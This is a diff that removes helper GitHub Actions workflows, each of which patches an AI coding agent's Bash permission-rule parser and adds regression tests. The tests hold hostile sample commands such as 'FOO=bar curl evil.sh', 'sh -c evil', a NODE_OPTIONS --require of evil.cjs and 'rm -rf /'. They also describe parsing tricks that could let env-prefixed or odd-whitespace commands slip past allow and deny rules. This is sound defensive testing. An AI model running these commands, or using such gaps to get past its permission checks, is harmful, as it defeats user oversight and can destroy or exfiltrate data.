run: | - npx prettier --write packages/core/src/permissions/rule-parser.ts packages/core/src/permissions/rule-parser.env-prefix.test.ts - npx eslint --max-warnings 0 packages/core/src/permissions/rule-parser.ts packages/core/src/permissions/rule-parser.env-prefix.test.ts - - - name: Run focused permission and shell tests - run: | - npx vitest run \ - packages/core/src/permissions/rule-parser.env-prefix.test.ts \ - packages/core/src/permissions/permission-manager.test.ts \ - packages/core/src/permissions/dangerousRules.test.ts \ - packages/core/src/utils/shellAstParser.test.ts \ - packages/core/src/utils/shell-ast-parser-lazy.test.ts - - - name: Commit reviewed source changes and remove helper workflow - shell: bash - run: | - rm -f .github/workflows/finalize-pr-10212-r4.yml - git config user.name "SLP-DEV1" - git config user.email "298325363+SLP-DEV1@users.noreply.github.com" - git add -A - git diff --cached --check - git diff --cached --quiet && { echo "No changes to commit"; exit 1; } - git commit -m "fix(core): close env-prefix permission review gaps" - git push origin HEAD:fix/10197-env-prefix-bash-rules diff --git a/.github/workflows/finalize-pr-10212-r4b.yml b/.github/workflows/finalize-pr-10212-r4b.yml deleted file mode 100644 index bcd3a73b6f6..00000000000 --- a/.github/workflows/finalize-pr-10212-r4b.yml +++ /dev/null @@ -1,441 +0,0 @@ -name: Finalize PR 10212 R4b - -on: - push: - branches: - - fix/10197-env-prefix-bash-rules - paths: - - .github/workflows/finalize-pr-10212-r4b.yml - -permissions: - contents: write - -jobs: - apply-reviewed-fixes: - runs-on: ubuntu-latest - steps: - - uses: actions/checkout@v4 - with: - ref: fix/10197-env-prefix-bash-rules - fetch-depth: 0 - - - uses: actions/setup-node@v4 - with: - node-version: 22 - cache: npm - - - name: Apply R3 review fixes and regression tests - shell: bash - run: | - python3 <<'PY' - from pathlib import Path - - def once(text: str, old: str, new: str, label: str) -> str: - count = text.count(old) - if count != 1: - raise SystemExit(f'{label}: expected 1 match, found {count}') - return text.replace(old, new, 1) - - p = Path('packages/core/src/permissions/rule-parser.ts') - s = p.read_text() - - s = once( - s, - " rawSpecifier = rawSpecifier.replace(/:(\\*)/g, ' $1');", - """ // Legacy `:*` is a token-level shorthand. Do not rewrite it - // inside env assignment values, which are part of Bash identity. - rawSpecifier = rawSpecifier.replace( - /(^|[ \\t\\n])([^ \\t\\n=\"'`=]+):\\*(?=$|[ \\t\\n])/g, - '$1$2 *', - );""", - 'legacy colon-star rewrite', - ) - - s = once( - s, - " const normalizedPattern = collapseUnquotedWhitespace(pattern.trim());", - """ const normalizedPattern = collapseUnquotedWhitespace( - trimShellIfsWhitespace(pattern), - );""", - 'pattern trim', - ) - - s = once( - s, - """ if (normalizedPattern === '*') { - return true; - } - - if (!normalizedPattern.includes('*')) {""", - """ if (normalizedPattern === '*') { - return true; - } - - // Assignment-only rules are identities, never command prefixes. Keep this - // above the wildcard split so `Bash(FOO=*)` cannot authorize a command. - if ( - isAssignmentOnlyPermissionPattern(normalizedPattern) && - !isAssignmentOnlyPermissionPattern(normalizedCommand) - ) { - return false; - } - - if (!normalizedPattern.includes('*')) {""", - 'assignment-only wildcard guard', - ) - - s = once( - s, - """ // Build regex from glob pattern with word-boundary semantics. - let regex = '^';""", - """ // Build regex from glob pattern with word-boundary semantics. - // A wildcard in a leading NAME=value word must not consume a shell-word - // boundary and thereby authorize a different executable. - const assignmentValueWildcards = - findUnquotedAssignmentValueWildcardPositions(normalizedPattern); - let regex = '^';""", - 'assignment wildcard set', - ) - - s = once( - s, - """ } else { - regex += escapeRegex(literalBefore); - regex += '.*'; - } - - pos = starIdx + 1;""", - """ } else { - regex += escapeRegex(literalBefore); - regex += assignmentValueWildcards.has(starIdx) ? '[^ ]*' : '.*'; - } - - pos = starIdx + 1;""", - 'assignment wildcard regex', - ) - - marker = "export const ENV_ASSIGNMENT_REGEX = /^[A-Za-z_][A-Za-z0-9_]*=/;\n" - helpers = r''' - - function isShellIfsWhitespace(ch: string): boolean { - return ch === ' ' || ch === '\t' || ch === '\n'; - } - - function trimShellIfsWhitespace(value: string): string { - let start = 0; - let end = value.length; - while (start < end && isShellIfsWhitespace(value[start]!)) start++; - while (end > start && isShellIfsWhitespace(value[end - 1]!)) end--; - return value.slice(start, end); - } - - /** - * shell-quote uses JavaScript whitespace, which is broader than Bash's - * default IFS. Protect non-IFS whitespace so it remains in the shell word - * that Bash would actually execute, then restore it after parsing. - */ - function protectNonIfsWhitespace(command: string): { - protectedCommand: string; - restore: (value: string) => string; - } { - const replacements = new Map(); - let protectedCommand = ''; - let markerIndex = 0; - - for (const ch of command) { - if (/\s/u.test(ch) && !isShellIfsWhitespace(ch)) { - let token = `\uE000QWEN_WS_${markerIndex++}\uE001`; - while (command.includes(token) || replacements.has(token)) { - token = `\uE000QWEN_WS_${markerIndex++}\uE001`; - } - replacements.set(token, ch); - protectedCommand += token; - } else { - protectedCommand += ch; - } - } - - return { - protectedCommand, - restore(value: string): string { - let restored = value; - for (const [token, original] of replacements) { - restored = restored.replaceAll(token, original); - } - return restored; - }, - }; - } - ''' - s = once(s, marker, marker + helpers, 'IFS helper insertion') - - s = once( - s, - """function permissionMatchTokens(command: string): string[] { - const tokens: string[] = []; - for (const token of parse(command)) {""", - """function permissionMatchTokens(command: string): string[] { - const tokens: string[] = []; - const { protectedCommand, restore } = protectNonIfsWhitespace(command); - for (const token of parse(protectedCommand)) {""", - 'protected token parser', - ) - s = once(s, ' tokens.push(token);', ' tokens.push(restore(token));', 'restore string token') - s = once(s, ' tokens.push(token.pattern);', ' tokens.push(restore(token.pattern));', 'restore glob token') - - strip_start = s.index('export function stripLeadingVariableAssignments') - strip_end = s.index('/** Collapse shell-equivalent whitespace', strip_start) - before, block, after = s[:strip_start], s[strip_start:strip_end], s[strip_end:] - block = once(block, ' const trimmed = command.trim();', ' const trimmed = trimShellIfsWhitespace(command);', 'strip trim') - s = before + block + after - - s = once( - s, - '/** Collapse shell-equivalent whitespace outside quotes while retaining quotes. */', - '/** Collapse Bash-IFS whitespace outside quotes while retaining quotes. */', - 'collapse comment', - ) - collapse_start = s.index('function collapseUnquotedWhitespace') - collapse_end = s.index('function isAssignmentOnlyPermissionPattern', collapse_start) - before, block, after = s[:collapse_start], s[collapse_start:collapse_end], s[collapse_end:] - block = once(block, ' if (/\\s/.test(ch)) {', ' if (isShellIfsWhitespace(ch)) {', 'IFS collapse') - s = before + block + after - - wildcard_helper = r''' - function findUnquotedAssignmentValueWildcardPositions( - pattern: string, - ): Set { - const positions = new Set(); - let quote: "'" | '"' | '`' | null = null; - let escaped = false; - let wordStart = 0; - let leadingAssignments = true; - - for (let i = 0; i < pattern.length; i++) { - const ch = pattern[i]!; - if (escaped) { - escaped = false; - continue; - } - if (ch === '\\' && quote !== "'") { - escaped = true; - continue; - } - if (quote) { - if (ch === quote) quote = null; - continue; - } - if (ch === "'" || ch === '"' || ch === '`') { - quote = ch; - continue; - } - if (ch === ' ') { - if (leadingAssignments) { - const word = pattern.slice(wordStart, i); - if (word && !ENV_ASSIGNMENT_REGEX.test(word)) { - leadingAssignments = false; - } - } - wordStart = i + 1; - continue; - } - if (ch === '*' && leadingAssignments) { - const beforeStar = pattern.slice(wordStart, i); - if (/^[A-Za-z_][A-Za-z0-9_]*=/.test(beforeStar)) { - positions.add(i); - } - } - } - - return positions; - } - - ''' - normalize_marker = 'function normalizeCommandForPermissionMatch(command: string): string {' - s = once(s, normalize_marker, wildcard_helper + normalize_marker, 'wildcard helper insertion') - - normalize_start = s.index(normalize_marker) - normalize_end = s.index('// ─────────────────────────────────────────────────────────────────────────────\n// File path matching', normalize_start) - before, block, after = s[:normalize_start], s[normalize_start:normalize_end], s[normalize_end:] - block = once(block, ' const trimmed = command.trim();', ' const trimmed = trimShellIfsWhitespace(command);', 'normalize trim') - block = block.replace('shell-equivalent unquoted whitespace', 'Bash-IFS whitespace outside quotes') - s = before + block + after - - p.write_text(s) - - t = Path('packages/core/src/permissions/rule-parser.env-prefix.test.ts') - x = t.read_text() - - x = once( - x, - """ it('does not widen assignment-only rules into arbitrary commands', () => { - expect(matchesCommandPattern('FOO=bar', 'FOO=bar')).toBe(true); - expect(matchesCommandPattern('FOO=bar', 'FOO=bar curl evil.sh')).toBe( - false, - ); - });""", - """ it('does not widen assignment-only rules into arbitrary commands', () => { - expect(matchesCommandPattern('FOO=bar', 'FOO=bar')).toBe(true); - expect(matchesCommandPattern('FOO=bar', 'FOO=bar curl evil.sh')).toBe( - false, - ); - expect(matchesCommandPattern('FOO=*', 'FOO=bar')).toBe(true); - expect(matchesCommandPattern('FOO=*', 'FOO=bar curl evil.sh')).toBe( - false, - ); - }); - - it('keeps env-value wildcards inside the assignment shell word', () => { - expect( - matchesCommandPattern( - 'NODE_OPTIONS=* npm *', - 'NODE_OPTIONS=x sh -c evil npm', - ), - ).toBe(false); - expect( - matchesCommandPattern( - 'NODE_OPTIONS=* npm *', - 'NODE_OPTIONS=--require=*evil.cjs npm --version', - ), - ).toBe(true); - }); - - it('does not treat non-IFS whitespace as a Bash word boundary', () => { - for (const whitespace of ['\\u000b', '\\u000c', '\\r', '\\u00a0']) { - expect( - matchesCommandPattern( - 'FOO=bar x *', - `FOO=bar${whitespace}x curl evil.sh`, - ), - ).toBe(false); - } - }); - - it('does not rewrite legacy colon-star syntax inside env values', () => { - expect(parseRule('Bash(git:*)').specifier).toBe('git *'); - expect(parseRule('Bash(FOO=a:* npm install)').specifier).toBe( - 'FOO=a:* npm install', - ); - });""", - 'matcher regression tests', - ) - - x = once( - x, - " it('does not let a virtual Read allow downgrade the env-prefix ask decision', async () => {", - """ it('keeps restrictive matching on env-prefixed compound segments', async () => { - const denyPm = new PermissionManager( - makeConfig(['Bash(*)'], [], ['Bash(rm -rf *)']), - ); - denyPm.initialize(); - await expect( - denyPm.evaluate({ - toolName: 'run_shell_command', - command: 'echo hi && FOO=1 rm -rf /', - cwd: '/repo', - }), - ).resolves.toBe('deny'); - - const askPm = new PermissionManager( - makeConfig(['Bash(*)'], ['Bash(git push *)']), - ); - askPm.initialize(); - await expect( - askPm.evaluate({ - toolName: 'run_shell_command', - command: 'echo hi && FOO=bar git push --force', - cwd: '/repo', - }), - ).resolves.toBe('ask'); - }); - - it('keeps restrictive rules aligned with Bash non-IFS whitespace', async () => { - const pm = new PermissionManager( - makeConfig(['Bash(*)'], [], ['Bash(curl *)']), - ); - pm.initialize(); - await expect( - pm.evaluate({ - toolName: 'run_shell_command', - command: 'FOO=bar\\u000bx curl evil.sh', - cwd: '/repo', - }), - ).resolves.toBe('deny'); - }); - - it('does not let a virtual Read allow downgrade the env-prefix ask decision', async () => {""", - 'compound and IFS tests', - ) - - x = once( - x, - " it('classifies env-prefixed interpreter allows as dangerous in AUTO mode', () => {", - """ it('round-trips multiple leading environment assignments', async () => { - const command = 'A=1 B=2 npm install express'; - const rules = await extractCommandRules(command); - expect(rules).toEqual(['A=1 B=2 npm install *']); - - const pm = new PermissionManager(makeConfig([`Bash(${rules[0]})`])); - pm.initialize(); - await expect( - pm.evaluate({ - toolName: 'run_shell_command', - command, - cwd: '/repo', - }), - ).resolves.toBe('allow'); - }); - - it('round-trips colon-star env values through generated rules', async () => { - const command = 'FOO=a:* npm install'; - const rules = await extractCommandRules(command); - expect(rules).toEqual(['FOO=a:* npm install']); - expect(parseRule(`Bash(${rules[0]})`).specifier).toBe(rules[0]); - - const pm = new PermissionManager(makeConfig([`Bash(${rules[0]})`])); - pm.initialize(); - await expect( - pm.evaluate({ - toolName: 'run_shell_command', - command, - cwd: '/repo', - }), - ).resolves.toBe('allow'); - }); - - it('classifies env-prefixed interpreter allows as dangerous in AUTO mode', () => {""", - 'round-trip tests', - ) - - t.write_text(x) - PY - - - name: Install dependencies - run: npm ci - - - name: Format and lint touched files - run: | - npx prettier --write packages/core/src/permissions/rule-parser.ts packages/core/src/permissions/rule-parser.env-prefix.test.ts - npx eslint --max-warnings 0 packages/core/src/permissions/rule-parser.ts packages/core/src/permissions/rule-parser.env-prefix.test.ts - - - name: Run focused permission and shell tests - run: | - npx vitest run \ - packages/core/src/permissions/rule-parser.env-prefix.test.ts \ - packages/core/src/permissions/permission-manager.test.ts \ - packages/core/src/permissions/dangerousRules.test.ts \ - packages/core/src/utils/shellAstParser.test.ts \ - packages/core/src/utils/shell-ast-parser-lazy.test.ts - - - name: Commit reviewed source changes and remove helper workflows - shell: bash - run: | - rm -f .github/workflows/finalize-pr-10212-r4.yml - rm -f .github/workflows/finalize-pr-10212-r4b.yml - git config user.name "SLP-DEV1" - git config user.email "298325363+SLP-DEV1@users.noreply.github.com" - git add -A - git diff --cached --check - git diff --cached --quiet && { echo "No changes to commit"; exit 1; } - git commit -m "fix(core): close env-prefix permission review gaps" - git push origin HEAD:fix/10197-env-prefix-bash-rules diff --git a/.github/workflows/finalize-pr-10212-r4c.yml b/.github/workflows/finalize-pr-10212-r4c.yml deleted file mode 100644 index 6793a3e2fb6..00000000000 --- a/.github/workflows/finalize-pr-10212-r4c.yml +++ /dev/null @@ -1,356 +0,0 @@ -name: Finalize PR 10212 R4c - -on: - push: - branches: - - fix/10197-env-prefix-bash-rules - paths: - - .github/workflows/finalize-pr-10212-r4c.yml - -permissions: - contents: write - -jobs: - apply-reviewed-fixes: - runs-on: ubuntu-latest - steps: - - uses: actions/checkout@v4 - with: - ref: fix/10197-env-prefix-bash-rules - fetch-depth: 0 - - - uses: actions/setup-node@v4 - with: - node-version: 22 - cache: npm - - - name: Apply reviewed source fixes - shell: bash - run: | - python3 <<'PY' - from pathlib import Path - - def once(text: str, old: str, new: str, label: str) -> str: - count = text.count(old) - if count != 1: - raise SystemExit(f'{label}: expected 1 match, found {count}') - return text.replace(old, new, 1) - - path = Path('packages/core/src/permissions/rule-parser.ts') - s = path.read_text() - - s = once( - s, - " rawSpecifier = rawSpecifier.replace(/:(\\*)/g, ' $1');", - " // Legacy `:*` is token syntax; never rewrite env assignment values.\n" - " rawSpecifier = rawSpecifier.replace(\n" - " /(^|[ \\t\\n])([^ \\t\\n=\\\"'`=]+):\\*(?=$|[ \\t\\n])/g,\n" - " '$1$2 *',\n" - " );", - 'legacy colon-star', - ) - - s = once( - s, - ' const normalizedPattern = collapseUnquotedWhitespace(pattern.trim());', - ' const normalizedPattern = collapseUnquotedWhitespace(\n' - ' trimShellIfsWhitespace(pattern),\n' - ' );', - 'pattern trim', - ) - - star_anchor = " if (normalizedPattern === '*') {\n return true;\n }\n" - star_guard = ( - star_anchor - + "\n // Assignment-only rules are identities, never command prefixes.\n" - + " if (\n" - + " isAssignmentOnlyPermissionPattern(normalizedPattern) &&\n" - + " !isAssignmentOnlyPermissionPattern(normalizedCommand)\n" - + " ) {\n" - + " return false;\n" - + " }\n" - ) - s = once(s, star_anchor, star_guard, 'assignment-only wildcard guard') - - regex_anchor = " // Build regex from glob pattern with word-boundary semantics.\n let regex = '^';" - regex_insert = ( - " // Build regex from glob pattern with word-boundary semantics.\n" - " // Wildcards in leading NAME=value words cannot cross shell-word boundaries.\n" - " const assignmentValueWildcards =\n" - " findUnquotedAssignmentValueWildcardPositions(normalizedPattern);\n" - " let regex = '^';" - ) - s = once(s, regex_anchor, regex_insert, 'assignment wildcard set') - s = once( - s, - " regex += '.*';", - " regex += assignmentValueWildcards.has(starIdx) ? '[^ ]*' : '.*';", - 'assignment wildcard regex', - ) - - env_marker = 'export const ENV_ASSIGNMENT_REGEX = /^[A-Za-z_][A-Za-z0-9_]*=/;\n' - if s.count(env_marker) != 1: - raise SystemExit(f'env marker count={s.count(env_marker)}') - helpers = r''' - - function isShellIfsWhitespace(ch: string): boolean { - return ch === ' ' || ch === '\t' || ch === '\n'; - } - - function trimShellIfsWhitespace(value: string): string { - let start = 0; - let end = value.length; - while (start < end && isShellIfsWhitespace(value[start]!)) start++; - while (end > start && isShellIfsWhitespace(value[end - 1]!)) end--; - return value.slice(start, end); - } - - /** Preserve non-IFS JavaScript whitespace inside the shell word Bash sees. */ - function protectNonIfsWhitespace(command: string): { - protectedCommand: string; - restore: (value: string) => string; - } { - const replacements = new Map(); - let protectedCommand = ''; - let markerIndex = 0; - - for (const ch of command) { - if (/\s/u.test(ch) && !isShellIfsWhitespace(ch)) { - let token = `\uE000QWEN_WS_${markerIndex++}\uE001`; - while (command.includes(token) || replacements.has(token)) { - token = `\uE000QWEN_WS_${markerIndex++}\uE001`; - } - replacements.set(token, ch); - protectedCommand += token; - } else { - protectedCommand += ch; - } - } - - return { - protectedCommand, - restore(value: string): string { - let restored = value; - for (const [token, original] of replacements) { - restored = restored.replaceAll(token, original); - } - return restored; - }, - }; - } - ''' - s = s.replace(env_marker, env_marker + helpers, 1) - - s = once( - s, - ' for (const token of parse(command)) {', - ' const { protectedCommand, restore } = protectNonIfsWhitespace(command);\n' - ' for (const token of parse(protectedCommand)) {', - 'protected parser', - ) - s = once(s, ' tokens.push(token);', ' tokens.push(restore(token));', 'restore token') - s = once(s, ' tokens.push(token.pattern);', ' tokens.push(restore(token.pattern));', 'restore glob') - - trim_old = ' const trimmed = command.trim();' - if s.count(trim_old) != 2: - raise SystemExit(f'command.trim count={s.count(trim_old)}') - s = s.replace(trim_old, ' const trimmed = trimShellIfsWhitespace(command);') - s = once(s, ' if (/\\s/.test(ch)) {', ' if (isShellIfsWhitespace(ch)) {', 'IFS collapse') - s = s.replace( - '/** Collapse shell-equivalent whitespace outside quotes while retaining quotes. */', - '/** Collapse Bash-IFS whitespace outside quotes while retaining quotes. */', - 1, - ) - - wildcard_helper = r''' - function findUnquotedAssignmentValueWildcardPositions( - pattern: string, - ): Set { - const positions = new Set(); - let quote: "'" | '"' | '`' | null = null; - let escaped = false; - let wordStart = 0; - let leadingAssignments = true; - - for (let i = 0; i < pattern.length; i++) { - const ch = pattern[i]!; - if (escaped) { - escaped = false; - continue; - } - if (ch === '\\' && quote !== "'") { - escaped = true; - continue; - } - if (quote) { - if (ch === quote) quote = null; - continue; - } - if (ch === "'" || ch === '"' || ch === '`') { - quote = ch; - continue; - } - if (ch === ' ') { - if (leadingAssignments) { - const word = pattern.slice(wordStart, i); - if (word && !ENV_ASSIGNMENT_REGEX.test(word)) leadingAssignments = false; - } - wordStart = i + 1; - continue; - } - if (ch === '*' && leadingAssignments) { - const beforeStar = pattern.slice(wordStart, i); - if (/^[A-Za-z_][A-Za-z0-9_]*=/.test(beforeStar)) positions.add(i); - } - } - return positions; - } - - ''' - normalize_marker = 'function normalizeCommandForPermissionMatch(command: string): string {' - s = once(s, normalize_marker, wildcard_helper + normalize_marker, 'wildcard helper') - s = s.replace('shell-equivalent unquoted whitespace is canonicalized', 'Bash-IFS whitespace outside quotes is canonicalized', 1) - - path.write_text(s) - - test_path = Path('packages/core/src/permissions/rule-parser.env-prefix.test.ts') - tests = test_path.read_text() - if "describe('R3 env-prefix regressions'" in tests: - raise SystemExit('R3 regression block already present') - tests += r''' - - describe('R3 env-prefix regressions', () => { - it('does not widen wildcard assignment-only rules into commands', () => { - expect(matchesCommandPattern('FOO=*', 'FOO=bar')).toBe(true); - expect(matchesCommandPattern('FOO=*', 'FOO=bar curl evil.sh')).toBe(false); - }); - - it('keeps env-value wildcards inside the assignment shell word', () => { - expect( - matchesCommandPattern( - 'NODE_OPTIONS=* npm *', - 'NODE_OPTIONS=x sh -c evil npm', - ), - ).toBe(false); - expect( - matchesCommandPattern( - 'NODE_OPTIONS=* npm *', - 'NODE_OPTIONS=--require=*evil.cjs npm --version', - ), - ).toBe(true); - }); - - it('does not treat non-IFS whitespace as Bash word boundaries', () => { - for (const whitespace of ['\u000b', '\u000c', '\r', '\u00a0']) { - expect( - matchesCommandPattern( - 'FOO=bar x *', - `FOO=bar${whitespace}x curl evil.sh`, - ), - ).toBe(false); - } - }); - - it('keeps legacy colon-star syntax out of env values', () => { - expect(parseRule('Bash(git:*)').specifier).toBe('git *'); - expect(parseRule('Bash(FOO=a:* npm install)').specifier).toBe( - 'FOO=a:* npm install', - ); - }); - - it('keeps restrictive rules on env-prefixed compound segments', async () => { - const denyPm = new PermissionManager( - makeConfig(['Bash(*)'], [], ['Bash(rm -rf *)']), - ); - denyPm.initialize(); - await expect( - denyPm.evaluate({ - toolName: 'run_shell_command', - command: 'echo hi && FOO=1 rm -rf /', - cwd: '/repo', - }), - ).resolves.toBe('deny'); - - const askPm = new PermissionManager( - makeConfig(['Bash(*)'], ['Bash(git push *)']), - ); - askPm.initialize(); - await expect( - askPm.evaluate({ - toolName: 'run_shell_command', - command: 'echo hi && FOO=bar git push --force', - cwd: '/repo', - }), - ).resolves.toBe('ask'); - }); - - it('keeps restrictive matching aligned with Bash non-IFS whitespace', async () => { - const pm = new PermissionManager( - makeConfig(['Bash(*)'], [], ['Bash(curl *)']), - ); - pm.initialize(); - await expect( - pm.evaluate({ - toolName: 'run_shell_command', - command: 'FOO=bar\u000bx curl evil.sh', - cwd: '/repo', - }), - ).resolves.toBe('deny'); - }); - - it('round-trips multiple leading environment assignments', async () => { - const command = 'A=1 B=2 npm install express'; - const rules = await extractCommandRules(command); - expect(rules).toEqual(['A=1 B=2 npm install *']); - const pm = new PermissionManager(makeConfig([`Bash(${rules[0]})`])); - pm.initialize(); - await expect( - pm.evaluate({ toolName: 'run_shell_command', command, cwd: '/repo' }), - ).resolves.toBe('allow'); - }); - - it('round-trips colon-star env values through generated rules', async () => { - const command = 'FOO=a:* npm install'; - const rules = await extractCommandRules(command); - expect(rules).toEqual(['FOO=a:* npm install']); - expect(parseRule(`Bash(${rules[0]})`).specifier).toBe(rules[0]); - const pm = new PermissionManager(makeConfig([`Bash(${rules[0]})`])); - pm.initialize(); - await expect( - pm.evaluate({ toolName: 'run_shell_command', command, cwd: '/repo' }), - ).resolves.toBe('allow'); - }); - }); - ''' - test_path.write_text(tests) - PY - - - name: Install dependencies - run: npm ci - - - name: Format and lint touched files - run: | - npx prettier --write packages/core/src/permissions/rule-parser.ts packages/core/src/permissions/rule-parser.env-prefix.test.ts - npx eslint --max-warnings 0 packages/core/src/permissions/rule-parser.ts packages/core/src/permissions/rule-parser.env-prefix.test.ts - - - name: Run focused permission and shell tests - run: | - npx vitest run \ - packages/core/src/permissions/rule-parser.env-prefix.test.ts \ - packages/core/src/permissions/permission-manager.test.ts \ - packages/core/src/permissions/dangerousRules.test.ts \ - packages/core/src/utils/shellAstParser.test.ts \ - packages/core/src/utils/shell-ast-parser-lazy.test.ts - - - name: Commit reviewed changes and remove helpers - shell: bash - run: | - rm -f .github/workflows/finalize-pr-10212-r4.yml - rm -f .github/workflows/finalize-pr-10212-r4b.yml - rm -f .github/workflows/finalize-pr-10212-r4c.yml - git config user.name "SLP-DEV1" - git config user.email "298325363+SLP-DEV1@users.noreply.github.com" - git add -A - git diff --cached --check - git commit -m "fix(core): close env-prefix permission review gaps" - git push origin HEAD:fix/10197-env-prefix-bash-rules diff --git a/.github/workflows/finalize-pr-10212-r4d.yml b/.github/workflows/finalize-pr-10212-r4d.yml deleted file mode 100644 index c49e1ceccf0..00000000000 --- a/.github/workflows/finalize-pr-10212-r4d.yml +++ /dev/null @@ -1,399 +0,0 @@ -name: Finalize PR 10212 R4d - -on: - push: - branches: - - fix/10197-env-prefix-bash-rules - paths: - - .github/workflows/finalize-pr-10212-r4d.yml - -permissions: - contents: write - -jobs: - apply-reviewed-fixes: - runs-on: ubuntu-latest - steps: - - uses: actions/checkout@v4 - with: - ref: fix/10197-env-prefix-bash-rules - fetch-depth: 0 - - - uses: actions/setup-node@v4 - with: - node-version: 22 - cache: npm - - - name: Apply reviewed source fixes - shell: bash - run: | - python3 <<'PY' - from pathlib import Path - - def once(text: str, old: str, new: str, label: str) -> str: - count = text.count(old) - if count != 1: - raise SystemExit(f'{label}: expected 1 match, found {count}') - return text.replace(old, new, 1) - - path = Path('packages/core/src/permissions/rule-parser.ts') - s = path.read_text() - - # Keep legacy command :* compatibility, but never rewrite assignment values. - s = once( - s, - " rawSpecifier = rawSpecifier.replace(/:(\\*)/g, ' $1');", - " // Legacy `:*` is token syntax; never rewrite env assignment values.\n" - " rawSpecifier = rawSpecifier.replace(\n" - " /(^|[ \\t\\n])([^ \\t\\n=\\\"'`=]+):\\*(?=$|[ \\t\\n])/g,\n" - " '$1$2 *',\n" - " );", - 'legacy colon-star', - ) - - # Patch only matchesCommandPattern(), not the separate param matcher. - matcher_start = s.index('export function matchesCommandPattern(') - matcher_end = s.index('\n/**\n * Match a glob pattern against a value', matcher_start) - matcher = s[matcher_start:matcher_end] - matcher = once( - matcher, - ' const normalizedPattern = collapseUnquotedWhitespace(pattern.trim());', - ' const normalizedPattern = collapseUnquotedWhitespace(\n' - ' trimShellIfsWhitespace(pattern),\n' - ' );', - 'pattern trim', - ) - star_anchor = " if (normalizedPattern === '*') {\n return true;\n }\n" - matcher = once( - matcher, - star_anchor, - star_anchor - + "\n // Assignment-only rules are identities, never command prefixes.\n" - + " if (\n" - + " isAssignmentOnlyPermissionPattern(normalizedPattern) &&\n" - + " !isAssignmentOnlyPermissionPattern(normalizedCommand)\n" - + " ) {\n" - + " return false;\n" - + " }\n", - 'assignment-only wildcard guard', - ) - matcher = once( - matcher, - " // Build regex from glob pattern with word-boundary semantics.\n let regex = '^';", - " // Build regex from glob pattern with word-boundary semantics.\n" - " // Wildcards in leading NAME=value words cannot cross shell-word boundaries.\n" - " const assignmentValueWildcards =\n" - " findUnquotedAssignmentValueWildcardPositions(normalizedPattern);\n" - " let regex = '^';", - 'assignment wildcard set', - ) - matcher = once( - matcher, - " regex += '.*';", - " regex += assignmentValueWildcards.has(starIdx) ? '[^ ]*' : '.*';", - 'assignment wildcard regex', - ) - s = s[:matcher_start] + matcher + s[matcher_end:] - - env_marker = 'export const ENV_ASSIGNMENT_REGEX = /^[A-Za-z_][A-Za-z0-9_]*=/;\n' - helpers = r''' - - function isShellIfsWhitespace(ch: string): boolean { - return ch === ' ' || ch === '\t' || ch === '\n'; - } - - function trimShellIfsWhitespace(value: string): string { - let start = 0; - let end = value.length; - while (start < end && isShellIfsWhitespace(value[start]!)) start++; - while (end > start && isShellIfsWhitespace(value[end - 1]!)) end--; - return value.slice(start, end); - } - - /** Preserve non-IFS JavaScript whitespace inside the shell word Bash sees. */ - function protectNonIfsWhitespace(command: string): { - protectedCommand: string; - restore: (value: string) => string; - } { - const replacements = new Map(); - let protectedCommand = ''; - let markerIndex = 0; - - for (const ch of command) { - if (/\s/u.test(ch) && !isShellIfsWhitespace(ch)) { - let token = `\uE000QWEN_WS_${markerIndex++}\uE001`; - while (command.includes(token) || replacements.has(token)) { - token = `\uE000QWEN_WS_${markerIndex++}\uE001`; - } - replacements.set(token, ch); - protectedCommand += token; - } else { - protectedCommand += ch; - } - } - - return { - protectedCommand, - restore(value: string): string { - let restored = value; - for (const [token, original] of replacements) { - restored = restored.replaceAll(token, original); - } - return restored; - }, - }; - } - ''' - s = once(s, env_marker, env_marker + helpers, 'IFS helper insertion') - - token_start = s.index('function permissionMatchTokens(command: string): string[] {') - token_end = s.index('\n/**\n * Return a shell command with only leading NAME=value', token_start) - token_block = s[token_start:token_end] - token_block = once( - token_block, - ' for (const token of parse(command)) {', - ' const { protectedCommand, restore } = protectNonIfsWhitespace(command);\n' - ' for (const token of parse(protectedCommand)) {', - 'protected parser', - ) - token_block = once(token_block, ' tokens.push(token);', ' tokens.push(restore(token));', 'restore token') - token_block = once(token_block, ' tokens.push(token.pattern);', ' tokens.push(restore(token.pattern));', 'restore glob') - s = s[:token_start] + token_block + s[token_end:] - - strip_start = s.index('export function stripLeadingVariableAssignments(command: string): string {') - strip_end = s.index('\n/** Collapse shell-equivalent whitespace', strip_start) - strip_block = s[strip_start:strip_end] - strip_block = once( - strip_block, - ' const trimmed = command.trim();', - ' const trimmed = trimShellIfsWhitespace(command);', - 'strip trim', - ) - s = s[:strip_start] + strip_block + s[strip_end:] - - collapse_start = s.index('function collapseUnquotedWhitespace(command: string): string {') - collapse_end = s.index('\nfunction isAssignmentOnlyPermissionPattern', collapse_start) - collapse_block = s[collapse_start:collapse_end] - collapse_block = once( - collapse_block, - ' if (/\\s/.test(ch)) {', - ' if (isShellIfsWhitespace(ch)) {', - 'IFS collapse', - ) - s = s[:collapse_start] + collapse_block + s[collapse_end:] - s = once( - s, - '/** Collapse shell-equivalent whitespace outside quotes while retaining quotes. */', - '/** Collapse Bash-IFS whitespace outside quotes while retaining quotes. */', - 'collapse comment', - ) - - wildcard_helper = r''' - function findUnquotedAssignmentValueWildcardPositions( - pattern: string, - ): Set { - const positions = new Set(); - let quote: "'" | '"' | '`' | null = null; - let escaped = false; - let wordStart = 0; - let leadingAssignments = true; - - for (let i = 0; i < pattern.length; i++) { - const ch = pattern[i]!; - if (escaped) { - escaped = false; - continue; - } - if (ch === '\\' && quote !== "'") { - escaped = true; - continue; - } - if (quote) { - if (ch === quote) quote = null; - continue; - } - if (ch === "'" || ch === '"' || ch === '`') { - quote = ch; - continue; - } - if (ch === ' ') { - if (leadingAssignments) { - const word = pattern.slice(wordStart, i); - if (word && !ENV_ASSIGNMENT_REGEX.test(word)) { - leadingAssignments = false; - } - } - wordStart = i + 1; - continue; - } - if (ch === '*' && leadingAssignments) { - const beforeStar = pattern.slice(wordStart, i); - if (/^[A-Za-z_][A-Za-z0-9_]*=/.test(beforeStar)) { - positions.add(i); - } - } - } - return positions; - } - - ''' - normalize_marker = 'function normalizeCommandForPermissionMatch(command: string): string {' - s = once(s, normalize_marker, wildcard_helper + normalize_marker, 'wildcard helper insertion') - normalize_start = s.index(normalize_marker) - normalize_end = s.index('\n// ─────────────────────────────────────────────────────────────────────────────\n// File path matching', normalize_start) - normalize_block = s[normalize_start:normalize_end] - normalize_block = once( - normalize_block, - ' const trimmed = command.trim();', - ' const trimmed = trimShellIfsWhitespace(command);', - 'normalize trim', - ) - normalize_block = normalize_block.replace( - 'shell-equivalent unquoted 